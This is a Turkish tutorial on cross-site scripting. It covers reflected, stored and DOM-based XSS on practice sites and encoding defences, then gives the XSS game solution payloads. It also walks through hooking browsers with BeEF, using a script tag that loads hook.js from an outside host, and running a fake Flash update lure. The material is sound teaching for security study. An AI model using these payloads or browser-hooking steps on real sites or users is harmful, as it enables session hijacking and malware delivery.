XSS (Cross-Site Scripting) kavramınıgenel olarak siteler arası betik çalıştırma gibi çevirebiliriz. Tüm olayın başladığı nokta şöyle olmakta, bir kullanıcı ve web uygulaması arasında yaşanan request-response döngüsü bulunduğunu biliyorsunuz. Response’un içerisinde de header ve body olmak üzere iki kısım bulunmaktadır. Güvenlik zafiyetlerinin odak noktasını bilmemiz gerektiğinde de XSS’in odak noktası büyük oranda Response’un body kısmıdır. Yani XSS dediğimizde odaklanmamız gereken en önemli nokta response’un body kısmındaki data’dır. Çünkü bizim için en önemli nokta şu ki burada kullanıcı olarak gösterdiğimiz şey aslında bir browser olmaktadır. Browser da kendisine gelen data’yı derleyip çalıştırdığı için bu noktada çeşitli sıkıntılar oluşmaktadır.
request-response döngüsü ve XSS
Browser tarafına gelecek olursak da bahsettiğimiz gibi browser’dan web uygulamasına bir request gönderilir ve bu request’e karşılık response alınır. Response içerisinde de body kısmında HTML içerik görmekteyiz. Browser bu HTML içeriği parse etmektedir. Parse ettikten sonra da içerisindeki HTML, CSS, JavaScript kodlarını işleyecektir.
Response’ta gelen içeriği de ayrıntılı bir şekilde inceleyelim. Bir HTTP Response’unun içinde HTML, CSS, JavaScript olmak üzere 3 temel şey bulunmaktadır. XSS’in başlangıcı için response’un header’ındaki konu bizim için şimdilik önemli değil. Başlangıçta önemli olan şey response’un body’sidir. Burada da en önemli kısım bizim için JavaScript tarafıdır.
HTML dediğimiz şeyi vücudumuzdaki iskelete benzetebiliriz. CSS ten rengi, görünüm ile ilgili kısımlardır. Javascript ise hareket kabiliyeti sunan kısımdır (fkadev). Bizim için de JavaScript’in bu kadar önemli olmasının sebebi hareket kabiliyeti olduğundan dolayıdır.
Özetleyecek olursak XSS’te önemli olan şey Response’un Body’sindeki HTML içeriktir. Bunun ardından da odaklanacağımız kısım bu içerikteki JavaScript tarafıdır.
Artık geleceğimiz noktada bir web uygulamasında belirli yerlerde bizim verdiğimiz içeriklerin sayfada gösterildiğini görebiliriz. Şimdi bunu da örnek bir zafiyetli siteden inceleyelim. Sistem üzerinde arattığımız ifadenin sayfada gösterildiğini görüyoruz. Sayfa kaynağını incelediğimizde de verdiğimiz ifadenin HTML’e yerleştirildiğini görebiliriz. (site: http://testphp.vulnweb.com/)
Burada yaşanan olayı ele alacak olursak karşımızda bir browser ve bir web uygulaması bulunmakta. Browser’dan web uygulamasına GET ya da POST request’leri gitmektedir. Bu request içerisinde de query string ya da post parametreleri olabilir. Buradaki örnekte de örneğin keyword isimli bir değere ‘ilker’ değerini verip gönderdiğimizde bu değerin web uygulamasında gösterildiğini görebiliriz. Yani giden bu request’in response’undaki bazı kısımlarda özel olarak bizim verdiğimiz değer bulunmaktadır. Bu da bizim için kontrol edebildiğimiz bir mekanizmayı meydana getirmektedir. Bu bizim için XSS’te bir başlangıç noktası olarak düşünülebilir.
Hacker zihniyetine göre bir web sitesine gidilebiliyorsa, keyword isimli bir parametreye ‘ilker’ yazılınca dönen HTTP Response’u içerisindeki ‘ilker’ buraya yansıyorsa artık neden ‘ilker’ yazalım diye düşünülür. Bu HTML içeriğinde artık kontrol edilebilen bir yer olduğu fark ediliyor. Hikayemizin başladığı yer de tam olarak burası :)
Bu kısımda kontrol edebildiğimiz bir değer bulduktan sonra artık buraya farklı şeyler yazabiliriz. Tıpkı SQL Injection’da yaptığımız gibi. Çünkü artık kontrol edebildiğimiz bir yer bulunmaktadır. O yüzden artık burada HTML içeriğini manipüle edebilir miyiz diye düşünmemiz gerekir. Yapılan HTTP Get Request’i neticesinde elde ettiğimiz HTTP Response’u Browser tarafından parse edilerek yapısal bir formata dönüştürülür. Browser, ardından JavaScript ile ilgili kısımları JavaScript Interpreter’ına yani yorumlayıcısına verir, CSS ile ilgili kısımları da uygulayıp ortaya bir DOM (Document Object Model) çıkarmış olur.
wwww.x.com/?keyword=ilker
<div id="content">
<h2 id='pageName'>searched for: ilker</h2>
</div>
Oluşan DOM içeriği de geliştirici seçeneklerinden bu şekilde görüntülenebilmektedir.
Yani burada verdiğimiz ‘ilker’ içeriği browser için bir input olarak kabul edilir. Browser’a giden HTML input’un içerisinde manipülasyonlar yapmaya yönelik çalışmalarımızın olması gerekir.
Demek ki burada ‘ilker’ yerine hepinizin bildiği XSS saldırı kodunu yani ‘<script>alert(1)</script>’ yazarsak bu Browser tarafından çalıştırılacaktır. Burada backend tarafındaki yazılım bu ifadeyi input olarak alır, response içerisinde bu ifadeyi verdiği zaman aslında yazılımcının browser’a söylemek ve yaptırmak istemediği bir işlemi browser gerçekleştirmiş olacaktır. XSS’in doğuşu temelde buraya dayanmaktadır.
wwww.x.com/?keyword=<script>alert(1)</script>
XSS açığı ararken saldırı kodları yazmadan önce bu şekilde özel karakterleri input’ta göndererek XSS’in olup olmadığını tespit edebilirsiniz. Örneğin burada verdiğimiz özel karakterler web uygulaması tarafından alındıktan sonra direkt olarak response’ta verilmiştir, herhangi bir format değişikliği olmamıştır. Dolayısıyla burada vereceğimiz başka ifadeler de doğrudan tarayıcıda görünebilecektir. Artık bu input’ları herhangi bir encode işlemi olmadığı için HTML tag’leri olarak kullanabiliriz.
Özetle burada input olarak verdiğimiz değer backend sisteminde ya da herhangi bir yerde data olarak kabul edilirken, Browser’a geldiğinde artık browser tarafından derleneceği için tag haline gelir ve buna göre hareket eder. Buradaki örneğimizde bir script yazdığımız için browser bu script’i çalıştırıp istediğimiz sonucu verecektir.
<div id="content">
<h2 id='pageName'>searched for: ilker'"<></h2>
</div>
Bir güvenlik zafiyetinin tespiti başka sömürülmesi bambaşka bir konudur. Yukarıda yaptığımız çalışmalarla browser’da bir script çalıştırdık ve alert ile pop-up göstermiş olduk. Bunu yapma sebebimiz de temelde XSS’in varlığını tespit etmek, yani zafiyetin tespiti içindir. Yazılım geliştiricilerin burada herhangi bir alert uyarısı verme durumu yoktu ancak biz burada hacker olarak browser’da istediğimiz javascript kodunu çalıştırabildiğimizin Proof of Concept’ini yapmış olduk. Burası aslında zafiyetin tespiti kısmıdır.
XSS yapısı itibariyle oldukça tehlikeli bir zafiyettir. Çünkü XSS aracılığıyla siz artık başka bir kullanıcının tarayıcısında istediğiniz şeyi yapabilir hale gelirsiniz. Dilerseniz mouse ve klavye hareketlerini kaydedersiniz, dilerseniz tarayıcısında yapabildiği her şeyi siz de yapabilir hale gelebilirsiniz. Bu noktada da “beef” isimli çok güzel ve kapsamlı bir XSS Exploitation Framework’ü bulunmaktadır. Bu araca github’dan ulaşabilirsiniz (https://github.com/beefproject/beef).
Beef’i kurduktan sonra aşağıdaki gibi çalıştırabilirsiniz.
Burada çalıştırdıktan sonra görmüş olduğunuz üzere 2 adet adres vermektedir.
[13:25:13] | Hook URL: http://127.0.0.1:3000/hook.js
[13:25:13] |_ UI URL: http://127.0.0.1:3000/ui/panel
Çalıştırdıktan sonra bizden username ve password isteyecektir, güncel beef kullanıyorsanız default olarak verilen username ve password değerlerini değiştirmeniz gerekmektedir. Yeni username ve password değerleriniz ile artık bu şekilde giriş yapabilirsiniz.
beef login page
Giriş yaptıktan sonra bizleri artık bu şekilde bir panel karşılamaktadır.
beef panel
Artık burada bir kurban cihaz seçip ilerlememiz gerekiyor. Burada da kendi bilgisayarımızda bir HTML sayfası oluşturarak yukarıdaki hook.js dosyasını çalıştırabileceğimiz bir yapı kuracağız.
Öncelikle bir HTML dosyası oluşturalım:
touch xss.html
Daha sonra oluşturduğumuz bu XSS sayfasına yukarıdaki hook.js’in çalışabileceği bir script verelim.
<h1>HACKED BY ANYONE</h1>
<script src= "http://192.168.1.107:3000/hook.js"></script>
Oluşan bu HTML dosyasını artık tarayıcımızda açtığımızda BEEF Panelimizde ilgili sonuçları görebiliriz.
XSS zafiyeti olan sayfa
Gördüğünüz üzere sayfamızı açtıktan sonra BEEF panelinde de elde ettiğimiz bilgileri görebiliriz.
Açtığımız HTML sayfasını kapattığımızda ise artık offline olarak görünecektir.
Yani bu araç sayesinde karşımızdaki kişinin browser’ında daha etkili JavaScript kodları çalıştırabiliriz. Dolayısıyla bahsettiğimiz BEEF aracı, burada verdiği hook.js kodlarını kurban cihaz üzerinde çalıştırmamızı istemektedir.
Biz bu aşamada tekrar test sitemize giderek alert(1) uyarısı göstermek yerine bu JavaScript dosyasını çalıştırırsak daha etkili sonuçlar elde edebiliriz. Bunun için de başka bir tarayıcıda test sitemizi açarak ilgili script’i yazıp aratıyoruz.
Script çalıştıktan sonra artık panelimiz üzerinde istediğimiz bilgileri ve kontrolleri elde ettiğimizi görebilirsiniz.
kurban cihazın panelde kontrolü
Artık burada yapabileceklerinizin sınırı yoktur, oldukça fazla saldırı senaryosu bulunmaktadır. Örneğin bir deneme olması açısından sosyal mühendislik saldırısı yapalım. İlgili seçenekte ‘fake flash update’ kısmını çalıştıralım.
fake flash update senaryosu
Bu komutu çalıştırdıktan sonra da kurban cihaz üzerinde istediğimiz ekranı gösterebiliyoruz artık. Burada her şeyi JavaScript ile yapmış olduk. Örneğin burada oluşan içerik de bir resimdir ve nereye tıklanırsa tıklansın kurban cihaza istediğiniz şeyi indirtebilirsiniz. Bu sadece temel bir örnek olarak düşünülebilir.
İlk kısımda ne yaptığımızı hatırlayalım. Browser’dan web sitesine bir adet request gönderdik, bu request’in içerisinde bir parametreye XSS payload kodu yerleştirdik. Bu XSS Payload’ı response’un body’sinde aynı şekilde kaldı ve browser tarafından derlenerek çalıştırıldı. Bu şekilde XSS’i elde ettik.
Reflected XSS
XSS’in kapsadığı ve yaşadığı alanlar vardır. Burada gerçekleşen olay HTTP Request ve Response döngüsünde yaşanır. Sadece kurban cihaz üzerinde etkili olur ve başka kullanıcıları etkilemez. O yüzden test sitemizde anlatılan XSS türü Reflected XSS’tir. Yani sadece request’i gönderen kişinin browser’ında yaşanır. Eğer buradaki request-response döngüsü başka bir kullanıcıya da uygulanabilirse burada farklı bir XSS hikayesi yaşanır.
Bir reflexted XSS örneği gösterelim. Buradaki adrese gittiğimizde sadece kendi browser’ımızda XSS yaşanacaktır. Ancak bunu bir url shortener servisiyle kısaltıp başka kullanıcılara da gönderirsek artık bu bağlantıyı ziyaret eden her kullanıcının bilgisayarında bahsedilen zafiyet oluşacaktır.
www.boylebirwebsitesiyok.com/?keyword=<script>alert(1)</script>
Özetle Reflected XSS’te request’in kurban tarafından yapılması gerekmektedir. Kullanıcının verdiği input değeri response’ta da yansır.
Bazı durumlarda gönderdiğimiz input değeri yani XSS Payload’ımız her zaman response’ta yansımayabilir. Bu değer veritabanına kaydedilebilir. Bu veritabanına başka web servisleri ve farklı web uygulamaları bağlanabilir. Dolayısıyla buradaki payload artık gezmeye başlayacaktır.
Şimdi bu örneği de tekrardan zafiyetli sitemiz üzerinden deneyelim. Burada “artists” alanında yorum yapabileceğimiz bir alan bulunmaktadır.
Yani burada da bahsettiğimiz şablonda olduğu gibi veritabanına bir yorum kaydedilir, ardından bu yorumu görüntüleyen başka kişilerde kaydedilen XSS Payload’ı çalıştırılır. Örnek bir XSS payload’ını bu şekilde yorum olarak kaydedebiliriz.
Bir başka örnek:
İşte çalışan XSS payload’ının sonucu:
Başka bir XSS Örneği (kullanıcı kayıt ekranı):
Kayıt işlemini gerçekleştirdikten sonra bilgilerimizin gösterildiği sayfada XSS Payload’ımızın çalıştığını görebiliriz.
Kayıt ekranında sayfa kaynağını görüntülediğimizde, ilgili kayıtların herhangi bir işlem görmeden doğrudan kaydedildiğini görebiliriz.
<html>
<head>
<title>add new user</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="masthead">
<h1 id="siteName">ACUNETIX ART</h1>
</div>
<div id="content">
<p>You have been introduced to our database with the above informations:</p><ul><li>Username: <script>alert("stored xss")</script></li><li>Password: test</li><li>Name: <script>alert("stored xss")</script></li><li>Address: <script>alert("stored xss")</script></li><li>E-Mail: <script>alert("stored xss")</script>@gmail.com</li><li>Phone number: 123456</li><li>Credit card: 12345678</li></ul><p>Now you can login from <a href='http://testphp.vulnweb.com/login.php'>here.</p></div>
</body>
</html>
Sadece kendi tarayıcınızda çalışan XSS durumlarında geçerlidir. Örneğin kendi bankacılık uygulamanızın web sitesinde bir XSS buldunuz ve bu sadece sizin giriş yaptığınız anlarda gerçekleşiyorsa SELF XSS olarak kabul edilir. Çünkü bu durumdan başka birinin etkilenmesi için sizin hesabınıza giriş yapması gerekmektedir.
XSS’i veriyi kullandığınız uygulamanın içerisinde çözebilirsiniz. XSS veriyi HTML ile birleştirip output’un verildiği noktada çözülür. Yani zafiyet oluşan yerde çözülmelidir. Yazılım mimarileri bu noktada çok önemlidir, artık hiçbir uygulama tek başına çalışmamaktadır. Günümüzdeki uygulamalar sürekli olarak birbiriyle iletişim halindedir. Dolayısıyla bulundukları mimari de buna göre şekillendiği için XSS’in çözüm noktası da buna göre düzenlenmelidir.
Reflected XSS üzerinden bir örnek ile HTML Context hakkında konuşalım. Öncelikle buradaki gibi bir URL yapısında karşılaşacağımız sonucu inceleyelim.
www.x.com/?keyword=ILKER
Bu adrese gittikten sonra bizleri kabaca şu şekilde bir sayfa karşılayacaktır. Burada bir XSS Payload’ı çalıştırabilmek için tag’lere ihtiyacımız bulunmaktadır yani ‘<’ ve ‘>’ işaretlerini koyabilmemiz gerekir. Bunlar bizim için olmazsa olmazımızdır. İşte buna HTML Context denmektedir.
<html>
<body>
<p>
Aradığınız kelime <script>alert(1)</script>
</p>
</body>
</html>
XSS’i önlemek istediğimizde de bu işaretler encode edilir ve artık koyduğumuz işaretler tag olarak görünmez. Tag’ler olmadan da XSS zafiyeti oluşmaz.
<html>
<body>
<p>
Aradığınız kelime <script>alert(1)</script>
</p>
</body>
</html>
Şimdi de şöyle bir yapıyı düşünelim. Kullanıcıdan gelen input’un bir attribute içerisinde olduğu anlar olabilir.
<html>
<body>
<form>
<input name="keyword" value="İLKER">
</form>
</body>
</html>
Burada basitçe “<script>alert(1)</script>” verdiğimizde XSS çalışmayacaktır. Çünkü vereceğiniz bu değer value içerisinde kalacağı için script çalışmaz. Buranın dışına çıkma gerekir. Bakış açısı bu yüzden çok önemlidir.
<html>
<body>
<form>
<input name="keyword" value="<script>alert(1)</script>">
<input name="keyword" value='<script>alert(1)</script>'>
</form>
</body>
</html>
Öncelikle bu attribute içerisinden çıkmanız gerekmektedir. Öncelikle bir “ (çift tırnak) işareti koyarak attribute tanımını bitirmelisiniz. Bitirdikten sonra yeni bir attribute tanımlama alanına girersiniz. Yani saldırı kodunuz artık bu şekilde olmalı:
www.x.com/?keyword="><script>alert(1)</script>
Burada attribute tanımını bitirip içerisinden çıkarak script çalıştırabilirsiniz ancak yazılımcı burada kullandığınız özel karakterleri encode ettiğinde payload’ınız bu kez de çalışmayacaktır.
<html>
<body>
<form>
<input name="keyword" value=" "><script>alert(1)</script>">
<input name="keyword" value="İLKER">
</form>
</body>
</html>
Burada artık yeni bir tag’e ihtiyacınız yoktur. Bir önceki attribute’dan kaçtığınız anda yeni bir attribute tanımlayabilirsiniz. Örneğin yukarıdaki örnekte input alanına “ onmouseover=”a yazarsanız ilk çift tırnak önceki attribute’u kapatır, daha sonra yeni bir attribute tanımlarsınız ve sonra kalan “> işaretleri de yeni oluşturduğunuz attribute’u tamamlar.
<html>
<body>
<form>
<input name="keyword" value=" " onmouseover="a">
<input name="keyword" value="İLKER">
</form>
</body>
</html>
Böyle bir yapıda XSS meydana gelebilmesi için 1 yerine alert(1) yazıp göndermek yeterlidir. Gördüğünüz gibi çok ince ayrıntılar olduğu için XSS bitmiyor :)
www.x.com/?id=1
<html>
<body>
<input type="button" onclick="saveForm(1)">
</body>
</html>
Kullanıcıdan alınan input’un a tag’inde href kısmına verildiği durumlarda XSS meydana gelebilir.
<html>
<body>
<a href="USER_DATA">Click Me</a>
</body>
</html>
Burada JavaScript’in browser’larda bir protocol handler davranışı gösterdiği durumdan dolayı XSS meydana gelmektedir.
<html>
<body>
<a href="javascript:alert(1)">Click Me</a>
</body>
</html>
XSS’in nasıl engellenebileceğini düşünelim. Buradaki şekilde görmüş olduğunuz üzere bir kullanıcı ile web uygulaması arasında request-response döngüsü yaşanmaktadır. Bu web uygulaması aynı zamanda başka kullanıcılara da response’lar vermektedir. Teorik olarak XSS’i çözmeye çalıştığınız nokta response’un render edildiği yani HTML ve data içeriğini browser’a verdiğiniz nokta olmalıdır.
Meşhur bir slogan bulunmaktadır:
INPUT VALIDATION, OUTPUT ENCODING…
Yani gelen input’u doğrulayıp output’u encode etmek gerekir. Bu da genel olarak context based encoding şeklinde arama yaptığımızda karşımıza çıkmaktadır. Örneğin java için örnek bir çalışmayı buradaki adreste bulabilirsiniz.
Kullanıcıdan gelen güvenilir olmayan data’lar framework’lerin sağladığı encoder kütüphaneleri ile encode edilmelidir, bu kütüphaneler tüm context’ler için hangi karakterlerin encode edilmesi gerekiyorsa onları encode ederek XSS’i büyük oranda engelleme yeteneğine sahiptir.
Şimdi de XSS denemeleri yapalım. Buradaki XSS oyunlarını şu adreste bulabilirsiniz: (https://xss-game.appspot.com/)
İlk seviye için karşılaştığımız uygulama bu şekildedir.
Sayfanın aşağısında burada çalışan uygulamanın kodları da yer almaktadır, burada kod analizi yaparak da XSS’in nasıl meydana gelebileceğini tespit edebiliriz. Örneğin buradaki kodu incelediğimizde kullanıcıdan alınan input değerinin doğrudan HTML içerisinde yer aldığını görebiliriz. Dolayısıyla bizim input’ta vereceğimiz değerler tarayıcıda HTML içerisine yerleştirilecektir ve tarayıcı bu HTML’deki yapıları derleyeceği için burada yazdığımız JavaScript kodu da çalışacaktır. Buradaki yapıda Reflected XSS bulunmaktadır.
Dolayısıyla buradaki uygulamada istediğimiz script’i çalıştırabiliriz.
Çalıştırmak istediğimiz script’in başarılı bir şekilde uygulandığını da bu sonuç ile doğrulayabiliriz.
İkinci seviyedeki çalışmamıza bakalım.
Buradaki sistemde de öncelikle uygulamanın kodlarını inceleyerek nasıl çalıştığını öğrenelim. Yorum kısmına girdiğimiz değerler “blockquote” tag’i içerisinde olduğu için vereceğimiz script’ler doğrudan çalışmayacaktır.
Ancak burada “blockquote” tag’i içerisinde şu şekilde bir payload’ı çalıştırabilirsiniz.
"><img src=x onerror=alert(1)>
Bir sonraki seviyede bizi karşılayan uygulama bu şekildedir. Tekrar uygulamanın kodlarını inceleyerek devam edelim.
Burada aslında DOM Based XSS bulunmaktadır. Location Hash ile ilgili bir kontrol mevcuttur.
Yani burayı değiştirerek bazı şeyleri değiştirebiliriz. Location hash üzerinden gelen veri backend’e gitmez ve JavaScript buradaki location hash’i input olarak kullanmaktadır. Ardından chooseTab fonksiyonuna giden bu veri html değişkenine atanır. HTML’i oluştururken parseInt ile num değerinin integer olması zorunlu tutulur ama alt satırda kullanılırken bir kontrol gerçekleştirilmemektedir. İlgili kodları siz de buradan inceleyebilirsiniz:
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- Load jQuery -->
<script
src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
</script>
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
// BURADA KONTROL GERÇEKLEŞTİRİLMEMEKTEDİR
// No checks are being carried out here
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
</head>
<body id="level3">
<div id="header">
<img id="logo" src="/static/logos/level3.png">
<span>Take a tour of our cloud data center.</a>
</div>
<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
<div id="tabContent"> </div>
</body>
</html>
Dolayısıyla location hash kısmına bu şekilde bir saldırı kodu yazarak XSS elde edebiliriz. Burada bu kodun çalışma sebebi, kaynak kodda da görebileceğiniz üzere ilgili satırdaki kontrol eksikliğinden dolayı HTML’i manipüle edebiliyoruz.
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
https://xss-game.appspot.com/level3/frame#' onmouseover='alert(1)
Sıradaki XSS oyunu bu şekildedir.
Buradaki kodu incelediğimizde JavaScript ile bu kısımda startTimer fonksiyonundan bağımsız bir şekilde XSS meydana gelebilir.
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
Oluşturduğumuz payload kodunu ilgili satırda şu yapıya getirdiğimizde XSS’i elde edebiliriz.
<img src="/static/loading.gif" onload="startTimer(''-alert(1)-'');" />
Bunu da deneyecek olursak timer’da ilgili ifadeyi vererek XSS’i meydana getirebiliriz.
Verdiğimiz payload’ın çalıştığını da görebiliriz.
Sıradaki XSS oyununda ise JavaScript’in browser’larda bir protocol handler davranışı gösterdiği durumdan dolayı XSS meydana gelmektedir.
javascript:alert(1)
Seviye-6 için uygulamada ek bir kontrol bulunmaktadır. Gelen URL içerisinde bir regex kontrolü yapılarak HTTP ya da HTTPS ile ilgili bir durum oluştuğunda izin vermemektedir.
Ancak burada da farklı bir protocol handler ile bu kontrolü atlatabiliriz.
data:text/javascript,alert(1)
level-6 çözümü
Bu şekilde artık tüm XSS oyunlarını bitirmiş olduk…
Buraya kadar okuduğunuz için teşekkürler, bu yazının ayrıntılı bir şekilde anlatıldığı asıl kaynağına ulaşmak için ilk bağlantıyı ziyaret edebilirsiniz. Bu eğitimleri düzenlediği için Mehmet Dursun İnce hocamıza/abimize teşekkür ederiz.
- https://www.youtube.com/watch?v=NFD3vZ-lIgI (Web Security 0x08 | XSS Güvenlik Zafiyeti Hakkında Her Şey Part — 1)
- https://www.youtube.com/watch?v=k7JT3OBvQjA&t=2s (Beef Nedir Nasıl Kullanılır?)
- https://medium.com/@secureica/hooking-victims-to-browser-exploitation-framework-beef-using-reflected-and-stored-xss-859266c5a00a